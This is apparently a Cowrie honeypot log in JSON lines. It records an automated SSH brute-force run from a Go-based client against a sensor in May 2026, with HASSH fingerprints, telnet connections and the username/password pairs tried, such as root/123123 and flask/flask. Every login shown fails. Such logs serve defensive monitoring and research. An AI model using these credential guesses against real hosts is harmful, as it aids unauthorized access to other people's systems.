{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38188,"dst_ip":"10.17.0.5","dst_port":22,"session":"983c53b3efcd","protocol":"ssh","message":"New connection: 176.65.132.129:38188 (10.17.0.5:22) [session: 983c53b3efcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:05.659292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:05.664449Z","src_ip":"176.65.132.129","session":"983c53b3efcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:05.746919Z","src_ip":"176.65.132.129","session":"983c53b3efcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:05.998520Z","src_ip":"176.65.132.129","session":"983c53b3efcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:07.099069Z","src_ip":"176.65.132.129","session":"983c53b3efcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":66.78675055503845,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:07.107696Z","src_ip":"38.60.198.128","session":"df66c9ada3a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42978,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5b610f8c343","protocol":"ssh","message":"New connection: 176.65.132.129:42978 (10.17.0.5:22) [session: b5b610f8c343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:09.114808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:09.120014Z","src_ip":"176.65.132.129","session":"b5b610f8c343","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:09.201796Z","src_ip":"176.65.132.129","session":"b5b610f8c343","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:09.449646Z","src_ip":"176.65.132.129","session":"b5b610f8c343","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:10.534820Z","src_ip":"176.65.132.129","session":"b5b610f8c343","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":53164,"dst_ip":"159.203.135.109","dst_port":23,"session":"c84f32d6e990","protocol":"telnet","message":"New connection: 38.60.198.128:53164 (159.203.135.109:23) [session: c84f32d6e990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:11.546361Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42992,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5ec4ecaf049","protocol":"ssh","message":"New connection: 176.65.132.129:42992 (10.17.0.5:22) [session: f5ec4ecaf049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:12.681410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:12.688870Z","src_ip":"176.65.132.129","session":"f5ec4ecaf049","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:12.770803Z","src_ip":"176.65.132.129","session":"f5ec4ecaf049","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@","message":"login attempt [root/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:13.018683Z","src_ip":"176.65.132.129","session":"f5ec4ecaf049","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:14.104087Z","src_ip":"176.65.132.129","session":"f5ec4ecaf049","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48204,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff61efc9f43d","protocol":"telnet","message":"New connection: 38.60.198.128:48204 (159.203.135.109:23) [session: ff61efc9f43d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:14.246388Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44458,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9baa0e55f8e","protocol":"ssh","message":"New connection: 176.65.132.129:44458 (10.17.0.5:22) [session: c9baa0e55f8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:16.058420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:16.063544Z","src_ip":"176.65.132.129","session":"c9baa0e55f8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:16.146396Z","src_ip":"176.65.132.129","session":"c9baa0e55f8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"flask","message":"login attempt [flask/flask] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:16.392040Z","src_ip":"176.65.132.129","session":"c9baa0e55f8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:17.481822Z","src_ip":"176.65.132.129","session":"c9baa0e55f8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44472,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e53a7c001cc","protocol":"ssh","message":"New connection: 176.65.132.129:44472 (10.17.0.5:22) [session: 1e53a7c001cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:19.508602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:19.518240Z","src_ip":"176.65.132.129","session":"1e53a7c001cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:19.671295Z","src_ip":"176.65.132.129","session":"1e53a7c001cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"user4","message":"login attempt [user4/user4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:20.032830Z","src_ip":"176.65.132.129","session":"1e53a7c001cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":34282,"dst_ip":"159.203.135.109","dst_port":23,"session":"57ad8a9a3889","protocol":"telnet","message":"New connection: 192.211.53.160:34282 (159.203.135.109:23) [session: 57ad8a9a3889]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:20.398939Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:21.117678Z","src_ip":"176.65.132.129","session":"1e53a7c001cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44496,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ffa6b2741df","protocol":"ssh","message":"New connection: 176.65.132.129:44496 (10.17.0.5:22) [session: 1ffa6b2741df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:23.033747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:23.041285Z","src_ip":"176.65.132.129","session":"1ffa6b2741df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:23.125424Z","src_ip":"176.65.132.129","session":"1ffa6b2741df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"main","password":"main","message":"login attempt [main/main] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:23.377855Z","src_ip":"176.65.132.129","session":"1ffa6b2741df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:24.531784Z","src_ip":"176.65.132.129","session":"1ffa6b2741df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":39952,"dst_ip":"159.203.135.109","dst_port":23,"session":"6216f4230f1a","protocol":"telnet","message":"New connection: 38.60.198.128:39952 (159.203.135.109:23) [session: 6216f4230f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:25.505551Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48568,"dst_ip":"10.17.0.5","dst_port":22,"session":"d66fa5ce5b2a","protocol":"ssh","message":"New connection: 176.65.132.129:48568 (10.17.0.5:22) [session: d66fa5ce5b2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:26.473619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:26.478271Z","src_ip":"176.65.132.129","session":"d66fa5ce5b2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:26.561559Z","src_ip":"176.65.132.129","session":"d66fa5ce5b2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler","message":"login attempt [dolphinscheduler/dolphinscheduler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:26.891443Z","src_ip":"176.65.132.129","session":"d66fa5ce5b2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:27.978582Z","src_ip":"176.65.132.129","session":"d66fa5ce5b2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":55072,"dst_ip":"10.17.0.5","dst_port":22,"session":"280da17a18f9","protocol":"ssh","message":"New connection: 198.98.56.227:55072 (10.17.0.5:22) [session: 280da17a18f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:28.371438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:28.381061Z","src_ip":"198.98.56.227","session":"280da17a18f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:28.689603Z","src_ip":"198.98.56.227","session":"280da17a18f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.193344831466675,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:28.876340Z","src_ip":"38.60.198.128","session":"b1b3b310c0b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.761128187179565,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:29.037402Z","src_ip":"38.60.198.128","session":"a60dba74b5f4","protocol":"telnet"}
